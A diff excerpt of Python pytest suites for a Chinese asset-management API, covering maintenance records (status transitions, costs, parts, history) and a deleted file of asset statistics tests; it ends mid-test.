||||
"""测试更新优先级"""
|
||||
response = client.put(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}",
|
||||
json={"priority": "urgent"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["priority"] == MaintenancePriority.URGENT
|
||||
|
||||
def test_update_maintenance_after_start_should_fail(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试维修开始后更新某些字段应失败"""
|
||||
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
|
||||
db.commit()
|
||||
|
||||
response = client.put(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}",
|
||||
json={"maintenance_type": "preventive"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 400
|
||||
assert "不允许修改" in response.json()["detail"]
|
||||
|
||||
def test_delete_pending_maintenance(self, client, auth_headers, db: Session, test_assets_for_maintenance):
|
||||
"""测试删除待处理的维修记录"""
|
||||
maintenance = Maintenance(
|
||||
maintenance_no="MAINT-DEL-001",
|
||||
asset_id=test_assets_for_maintenance[0].id,
|
||||
maintenance_type=MaintenanceType.CORRECTIVE,
|
||||
priority=MaintenancePriority.MEDIUM,
|
||||
status=MaintenanceStatus.PENDING,
|
||||
fault_description="待删除",
|
||||
reported_by=1
|
||||
)
|
||||
db.add(maintenance)
|
||||
db.commit()
|
||||
db.refresh(maintenance)
|
||||
|
||||
response = client.delete(
|
||||
f"/api/v1/maintenance/{maintenance.id}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_delete_in_progress_maintenance_should_fail(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试删除进行中的维修记录应失败"""
|
||||
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
|
||||
db.commit()
|
||||
|
||||
response = client.delete(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 400
|
||||
assert "不允许删除" in response.json()["detail"]
|
||||
|
||||
def test_create_maintenance_with_parts(self, client, auth_headers, test_assets_for_maintenance):
|
||||
"""测试创建包含配件的维修记录"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
|
||||
response = client.post(
|
||||
"/api/v1/maintenance/",
|
||||
json={
|
||||
"asset_id": asset.id,
|
||||
"maintenance_type": "corrective",
|
||||
"priority": "high",
|
||||
"fault_description": "需要更换配件",
|
||||
"reported_by": 1,
|
||||
"parts": [
|
||||
{
|
||||
"part_name": "电机",
|
||||
"part_code": "PART-001",
|
||||
"quantity": 1,
|
||||
"unit_price": 800.00
|
||||
},
|
||||
{
|
||||
"part_name": "轴承",
|
||||
"part_code": "PART-002",
|
||||
"quantity": 2,
|
||||
"unit_price": 100.00
|
||||
}
|
||||
]
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "parts" in data
|
||||
assert len(data["parts"]) == 2
|
||||
|
||||
|
||||
# ================================
|
||||
# 维修状态管理测试 (15+用例)
|
||||
# ================================
|
||||
|
||||
class TestMaintenanceStatusManagement:
|
||||
"""维修状态管理测试"""
|
||||
|
||||
def test_start_maintenance(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试开始维修"""
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/start",
|
||||
json={"start_note": "开始维修", "technician_id": 2},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["status"] == MaintenanceStatus.IN_PROGRESS
|
||||
assert data["actual_start_time"] is not None
|
||||
|
||||
def test_start_maintenance_updates_asset_status(self, client, auth_headers, test_maintenance_record, db: Session):
|
||||
"""测试开始维修时更新资产状态"""
|
||||
client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/start",
|
||||
json={"start_note": "开始维修"},
|
||||
headers=auth_headers
|
||||
)
|
||||
|
||||
asset = db.query(Asset).filter(Asset.id == test_maintenance_record.asset_id).first()
|
||||
assert asset.status == "maintenance"
|
||||
|
||||
def test_pause_maintenance(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试暂停维修"""
|
||||
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
|
||||
db.commit()
|
||||
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/pause",
|
||||
json={"pause_reason": "等待配件"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["status"] == MaintenanceStatus.PAUSED
|
||||
|
||||
def test_resume_maintenance(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试恢复维修"""
|
||||
test_maintenance_record.status = MaintenanceStatus.PAUSED
|
||||
db.commit()
|
||||
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/resume",
|
||||
json={"resume_note": "配件已到,继续维修"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["status"] == MaintenanceStatus.IN_PROGRESS
|
||||
|
||||
def test_complete_maintenance(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试完成维修"""
|
||||
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
|
||||
db.commit()
|
||||
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/complete",
|
||||
json={
|
||||
"completion_note": "维修完成",
|
||||
"actual_cost": 1200.00,
|
||||
"technician_id": 2
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["status"] == MaintenanceStatus.COMPLETED
|
||||
assert data["actual_completion_time"] is not None
|
||||
assert data["actual_cost"] == 1200.00
|
||||
|
||||
def test_complete_maintenance_updates_asset_status(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试完成维修后恢复资产状态"""
|
||||
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
|
||||
db.commit()
|
||||
|
||||
client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/complete",
|
||||
json={"completion_note": "完成", "actual_cost": 1000.00},
|
||||
headers=auth_headers
|
||||
)
|
||||
|
||||
asset = db.query(Asset).filter(Asset.id == test_maintenance_record.asset_id).first()
|
||||
assert asset.status == "in_stock"
|
||||
|
||||
def test_cancel_maintenance(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试取消维修"""
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/cancel",
|
||||
json={"cancellation_reason": "资产报废"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["status"] == MaintenanceStatus.CANCELLED
|
||||
|
||||
def test_cancel_maintenance_updates_asset_status(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试取消维修后恢复资产状态"""
|
||||
client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/cancel",
|
||||
json={"cancellation_reason": "取消维修"},
|
||||
headers=auth_headers
|
||||
)
|
||||
|
||||
asset = db.query(Asset).filter(Asset.id == test_maintenance_record.asset_id).first()
|
||||
assert asset.status == "in_stock"
|
||||
|
||||
def test_assign_technician(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试分配维修人员"""
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/assign-technician",
|
||||
json={"technician_id": 2, "assignment_note": "指派张工负责"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["technician_id"] == 2
|
||||
|
||||
def test_add_maintenance_progress_note(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试添加维修进度备注"""
|
||||
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
|
||||
db.commit()
|
||||
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/progress-notes",
|
||||
json={"note": "已更换故障配件", "progress_percentage": 50},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_get_maintenance_progress_notes(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试获取维修进度备注"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/progress-notes",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_update_maintenance_progress(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试更新维修进度"""
|
||||
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
|
||||
db.commit()
|
||||
|
||||
response = client.put(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/progress",
|
||||
json={"progress_percentage": 75},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["progress_percentage"] == 75
|
||||
|
||||
def test_invalid_status_transition(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试无效的状态转换"""
|
||||
test_maintenance_record.status = MaintenanceStatus.COMPLETED
|
||||
db.commit()
|
||||
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/start",
|
||||
json={"start_note": "尝试重新开始"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 400
|
||||
|
||||
def test_get_maintenance_status_history(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试获取状态变更历史"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/status-history",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_auto_calculate_duration(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试自动计算维修时长"""
|
||||
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
|
||||
test_maintenance_record.actual_start_time = datetime.now() - timedelta(days=2)
|
||||
db.commit()
|
||||
|
||||
client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/complete",
|
||||
json={"completion_note": "完成", "actual_cost": 1000.00},
|
||||
headers=auth_headers
|
||||
)
|
||||
|
||||
db.refresh(test_maintenance_record)
|
||||
assert test_maintenance_record.duration_hours is not None
|
||||
|
||||
|
||||
# ================================
|
||||
# 维修费用测试 (10+用例)
|
||||
# ================================
|
||||
|
||||
class TestMaintenanceCost:
|
||||
"""维修费用测试"""
|
||||
|
||||
def test_record_initial_cost_estimate(self, client, auth_headers, test_assets_for_maintenance):
|
||||
"""测试记录初始费用估算"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
|
||||
response = client.post(
|
||||
"/api/v1/maintenance/",
|
||||
json={
|
||||
"asset_id": asset.id,
|
||||
"maintenance_type": "corrective",
|
||||
"priority": "medium",
|
||||
"fault_description": "测试费用估算",
|
||||
"reported_by": 1,
|
||||
"estimated_cost": 2000.00
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["estimated_cost"] == 2000.00
|
||||
|
||||
def test_update_cost_estimate(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试更新费用估算"""
|
||||
response = client.put(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}",
|
||||
json={"estimated_cost": 800.00},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["estimated_cost"] == 800.00
|
||||
|
||||
def test_record_actual_cost(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试记录实际费用"""
|
||||
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
|
||||
db.commit()
|
||||
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/record-cost",
|
||||
json={"actual_cost": 1500.00, "cost_breakdown": {"parts": 1000.00, "labor": 500.00}},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["actual_cost"] == 1500.00
|
||||
|
||||
def test_calculate_total_parts_cost(self, client, auth_headers, test_maintenance_with_parts):
|
||||
"""测试计算配件总费用"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/{test_maintenance_with_parts.id}/parts-cost",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert data["total_parts_cost"] == 1000.00 # 800 + 100*2
|
||||
|
||||
def test_add_maintenance_part(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试添加维修配件"""
|
||||
response = client.post(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/parts",
|
||||
json={
|
||||
"part_name": "传感器",
|
||||
"part_code": "PART-003",
|
||||
"quantity": 1,
|
||||
"unit_price": 300.00
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_update_maintenance_part(self, client, auth_headers, test_maintenance_with_parts):
|
||||
"""测试更新维修配件"""
|
||||
part = test_maintenance_with_parts.parts[0]
|
||||
|
||||
response = client.put(
|
||||
f"/api/v1/maintenance/{test_maintenance_with_parts.id}/parts/{part.id}",
|
||||
json={"quantity": 2, "unit_price": 750.00},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_delete_maintenance_part(self, client, auth_headers, test_maintenance_with_parts):
|
||||
"""测试删除维修配件"""
|
||||
part = test_maintenance_with_parts.parts[0]
|
||||
|
||||
response = client.delete(
|
||||
f"/api/v1/maintenance/{test_maintenance_with_parts.id}/parts/{part.id}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_get_maintenance_parts_list(self, client, auth_headers, test_maintenance_with_parts):
|
||||
"""测试获取维修配件列表"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/{test_maintenance_with_parts.id}/parts",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert len(data) == 2
|
||||
|
||||
def test_cost_variance_analysis(self, client, auth_headers, db: Session, test_maintenance_record):
|
||||
"""测试费用差异分析"""
|
||||
test_maintenance_record.estimated_cost = Decimal("1000.00")
|
||||
test_maintenance_record.actual_cost = Decimal("1200.00")
|
||||
db.commit()
|
||||
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/{test_maintenance_record.id}/cost-analysis",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "variance" in data
|
||||
assert "variance_percentage" in data
|
||||
|
||||
def test_get_cost_statistics_by_asset(self, client, auth_headers, test_assets_for_maintenance):
|
||||
"""测试获取资产维修费用统计"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/asset/{asset.id}/cost-statistics",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "total_cost" in data
|
||||
assert "maintenance_count" in data
|
||||
|
||||
|
||||
# ================================
|
||||
# 维修历史测试 (5+用例)
|
||||
# ================================
|
||||
|
||||
class TestMaintenanceHistory:
|
||||
"""维修历史测试"""
|
||||
|
||||
def test_get_asset_maintenance_history(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试获取资产维修历史"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/asset/{test_maintenance_record.asset_id}/history",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
assert len(data) >= 1
|
||||
|
||||
def test_get_maintenance_history_with_date_range(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试按日期范围获取维修历史"""
|
||||
start_date = (datetime.now() - timedelta(days=1)).strftime("%Y-%m-%d")
|
||||
end_date = (datetime.now() + timedelta(days=1)).strftime("%Y-%m-%d")
|
||||
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/asset/{test_maintenance_record.asset_id}/history?start_date={start_date}&end_date={end_date}",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_get_maintenance_frequency_analysis(self, client, auth_headers, test_assets_for_maintenance):
|
||||
"""测试获取维修频率分析"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/asset/{asset.id}/frequency-analysis",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "total_maintenance_count" in data
|
||||
assert "average_days_between_maintenance" in data
|
||||
|
||||
def test_export_maintenance_history(self, client, auth_headers, test_maintenance_record):
|
||||
"""测试导出维修历史"""
|
||||
response = client.get(
|
||||
f"/api/v1/maintenance/asset/{test_maintenance_record.asset_id}/export",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
assert "export_url" in response.json()
|
||||
|
||||
def test_get_maintenance_summary_report(self, client, auth_headers):
|
||||
"""测试获取维修汇总报告"""
|
||||
response = client.get(
|
||||
"/api/v1/maintenance/summary-report",
|
||||
headers=auth_headers,
|
||||
params={"start_date": "2025-01-01", "end_date": "2025-12-31"}
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "total_maintenance_count" in data
|
||||
assert "total_cost" in data
|
||||
assert "by_type" in data
|
||||
|
||||
|
||||
# ================================
|
||||
# 测试标记
|
||||
# ================================
|
||||
|
||||
@pytest.mark.unit
|
||||
class TestMaintenanceUnit:
|
||||
"""单元测试标记"""
|
||||
|
||||
def test_maintenance_number_generation(self):
|
||||
"""测试维修单号生成逻辑"""
|
||||
pass
|
||||
|
||||
def test_maintenance_type_validation(self):
|
||||
"""测试维修类型验证"""
|
||||
pass
|
||||
|
||||
|
||||
@pytest.mark.integration
|
||||
class TestMaintenanceIntegration:
|
||||
"""集成测试标记"""
|
||||
|
||||
def test_full_maintenance_workflow(self, client, auth_headers, test_assets_for_maintenance):
|
||||
"""测试完整维修流程"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
|
||||
# 1. 创建维修记录
|
||||
create_response = client.post(
|
||||
"/api/v1/maintenance/",
|
||||
json={
|
||||
"asset_id": asset.id,
|
||||
"maintenance_type": "corrective",
|
||||
"priority": "high",
|
||||
"fault_description": "完整流程测试",
|
||||
"reported_by": 1,
|
||||
"estimated_cost": 1000.00
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert create_response.status_code == 200
|
||||
maintenance_id = create_response.json()["id"]
|
||||
|
||||
# 2. 开始维修
|
||||
start_response = client.post(
|
||||
f"/api/v1/maintenance/{maintenance_id}/start",
|
||||
json={"start_note": "开始"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert start_response.status_code == 200
|
||||
|
||||
# 3. 完成维修
|
||||
complete_response = client.post(
|
||||
f"/api/v1/maintenance/{maintenance_id}/complete",
|
||||
json={"completion_note": "完成", "actual_cost": 1200.00},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert complete_response.status_code == 200
|
||||
|
||||
|
||||
@pytest.mark.smoke
|
||||
class TestMaintenanceSmoke:
|
||||
"""冒烟测试标记"""
|
||||
|
||||
def test_create_and_start_maintenance(self, client, auth_headers, test_assets_for_maintenance):
|
||||
"""冒烟测试: 创建并开始维修"""
|
||||
asset = test_assets_for_maintenance[0]
|
||||
|
||||
create_response = client.post(
|
||||
"/api/v1/maintenance/",
|
||||
json={
|
||||
"asset_id": asset.id,
|
||||
"maintenance_type": "corrective",
|
||||
"priority": "medium",
|
||||
"fault_description": "冒烟测试",
|
||||
"reported_by": 1
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert create_response.status_code == 200
|
||||
|
||||
maintenance_id = create_response.json()["id"]
|
||||
start_response = client.post(
|
||||
f"/api/v1/maintenance/{maintenance_id}/start",
|
||||
json={"start_note": "冒烟测试开始"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert start_response.status_code == 200
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,912 +0,0 @@
|
||||
"""
|
||||
统计分析 API 测试
|
||||
|
||||
测试范围:
|
||||
- 资产统计测试 (20+用例)
|
||||
- 分布统计测试 (15+用例)
|
||||
- 趋势统计测试 (10+用例)
|
||||
- 缓存测试 (10+用例)
|
||||
- 导出测试 (5+用例)
|
||||
|
||||
总计: 60+ 用例
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from datetime import datetime, timedelta
|
||||
from decimal import Decimal
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from app.models.asset import Asset
|
||||
from app.models.organization import Organization
|
||||
from app.models.maintenance import Maintenance
|
||||
|
||||
|
||||
# ================================
|
||||
# Fixtures
|
||||
# ================================
|
||||
|
||||
@pytest.fixture
|
||||
def test_assets_for_statistics(db: Session) -> list:
|
||||
"""创建用于统计的测试资产"""
|
||||
assets = []
|
||||
|
||||
# 不同状态的资产
|
||||
statuses = ["in_stock", "in_use", "maintenance", "scrapped"]
|
||||
for i, status in enumerate(statuses):
|
||||
for j in range(3):
|
||||
asset = Asset(
|
||||
asset_code=f"STAT-{status[:3].upper()}-{j+1:03d}",
|
||||
asset_name=f"统计测试资产{i}-{j}",
|
||||
device_type_id=1,
|
||||
organization_id=1,
|
||||
status=status,
|
||||
purchase_price=Decimal(str(10000 * (i + 1))),
|
||||
purchase_date=datetime.now() - timedelta(days=30 * (i + 1))
|
||||
)
|
||||
db.add(asset)
|
||||
assets.append(asset)
|
||||
|
||||
db.commit()
|
||||
for asset in assets:
|
||||
db.refresh(asset)
|
||||
return assets
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def test_orgs_for_statistics(db: Session) -> list:
|
||||
"""创建用于统计的测试组织"""
|
||||
orgs = []
|
||||
for i in range(3):
|
||||
org = Organization(
|
||||
org_code=f"STAT-ORG-{i+1:03d}",
|
||||
org_name=f"统计测试组织{i+1}",
|
||||
org_type="department",
|
||||
status="active"
|
||||
)
|
||||
db.add(org)
|
||||
orgs.append(org)
|
||||
db.commit()
|
||||
for org in orgs:
|
||||
db.refresh(org)
|
||||
return orgs
|
||||
|
||||
|
||||
# ================================
|
||||
# 资产统计测试 (20+用例)
|
||||
# ================================
|
||||
|
||||
class TestAssetStatistics:
|
||||
"""资产统计测试"""
|
||||
|
||||
def test_get_total_asset_count(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产总数"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "total_count" in data
|
||||
assert data["total_count"] >= len(test_assets_for_statistics)
|
||||
|
||||
def test_get_asset_count_by_status(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试按状态统计资产数量"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/by-status",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
assert len(data) > 0
|
||||
assert all("status" in item and "count" in item for item in data)
|
||||
|
||||
def test_get_asset_count_by_type(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试按类型统计资产数量"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/by-type",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
assert all("device_type" in item and "count" in item for item in data)
|
||||
|
||||
def test_get_asset_count_by_organization(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试按组织统计资产数量"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/by-organization",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_total_asset_value(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产总价值"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/total-value",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "total_value" in data
|
||||
assert isinstance(data["total_value"], (int, float, str))
|
||||
|
||||
def test_get_asset_value_by_status(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试按状态统计资产价值"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/value-by-status",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
assert all("status" in item and "total_value" in item for item in data)
|
||||
|
||||
def test_get_asset_value_by_type(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试按类型统计资产价值"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/value-by-type",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_asset_purchase_statistics(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产采购统计"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/purchase-statistics",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "total_purchase_count" in data
|
||||
assert "total_purchase_value" in data
|
||||
|
||||
def test_get_asset_purchase_by_month(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试按月统计资产采购"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/purchase-by-month",
|
||||
params={"year": 2025},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_asset_depreciation_summary(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产折旧汇总"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/depreciation-summary",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "total_depreciation" in data
|
||||
|
||||
def test_get_asset_age_distribution(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产使用年限分布"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/age-distribution",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
assert all("age_range" in item and "count" in item for item in data)
|
||||
|
||||
def test_get_new_asset_statistics(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取新增资产统计"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/new-assets",
|
||||
params={"days": 30},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "count" in data
|
||||
assert "total_value" in data
|
||||
|
||||
def test_get_scrapped_asset_statistics(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取报废资产统计"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/scrapped-assets",
|
||||
params={"start_date": "2025-01-01", "end_date": "2025-12-31"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "count" in data
|
||||
|
||||
def test_get_asset_utilization_rate(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产利用率"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/utilization-rate",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "utilization_rate" in data
|
||||
assert "in_use_count" in data
|
||||
assert "total_count" in data
|
||||
|
||||
def test_get_asset_maintenance_rate(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产维修率"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/maintenance-rate",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "maintenance_rate" in data
|
||||
|
||||
def test_get_asset_summary_dashboard(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产汇总仪表盘数据"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/summary-dashboard",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "total_assets" in data
|
||||
assert "total_value" in data
|
||||
assert "utilization_rate" in data
|
||||
assert "maintenance_rate" in data
|
||||
|
||||
def test_search_statistics(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试搜索统计"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/search",
|
||||
params={"keyword": "统计"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "count" in data
|
||||
|
||||
def test_get_asset_top_list_by_value(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取价值最高的资产列表"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/top-by-value",
|
||||
params={"limit": 10},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_statistics_by_custom_field(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试按自定义字段统计"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/by-custom-field",
|
||||
params={"field_name": "manufacturer"},
|
||||
headers=auth_headers
|
||||
)
|
||||
